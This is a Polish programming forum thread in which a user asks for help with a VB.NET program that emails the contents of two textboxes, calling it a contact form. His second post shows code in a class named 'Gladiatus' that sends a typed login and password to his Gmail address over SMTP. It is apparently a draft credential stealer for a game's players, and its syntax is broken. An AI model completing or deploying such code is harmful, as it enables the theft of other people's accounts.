[VB Express 2010] Wysyłanie danych z textboxów na e-mail

Eset

Użytkownik
Dołączył
Luty 1, 2010
Posty
3
Witam,

Nie znam się praktycznie w ogóle na programowaniu, a potrzebuje programu który wyśle mi na e-mail zawartość 2-óch textboxów po kliknięciu w button.
Cos takiego jak formularz kontaktowy html

Kod:
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

    End Sub

    Private Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox2.TextChanged

    End Sub

    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

    End Sub
End Class

Jakby ktoś mógl pomóc to zrobić był bym bardzo wdzięczny ;)
 

Eset

Użytkownik
Dołączył
Luty 1, 2010
Posty
3
witam ponownie
udało mi się zmontować coś takiego, niby wszystko jest ok ale da
Kod:
Imports System
Imports System.Net.Mail
Imports System.Threading
Imports System.Text

Public Class Gladiatus
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("login_gmail)", "haslo_gmail")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("[email protected]")
        mail.To.Add("[email protected])
        mail.Subject = ("temat")
        mail.Body = "Login: " + login.Text & Chr(12) + "Hasło: " + haslo.Text
        smtpServer.Send(mail)

    End Sub
End Class

Jakby ktoś mógł jakaś mało podpowiedz co jest nie tak ;)?
 
Do góry Bottom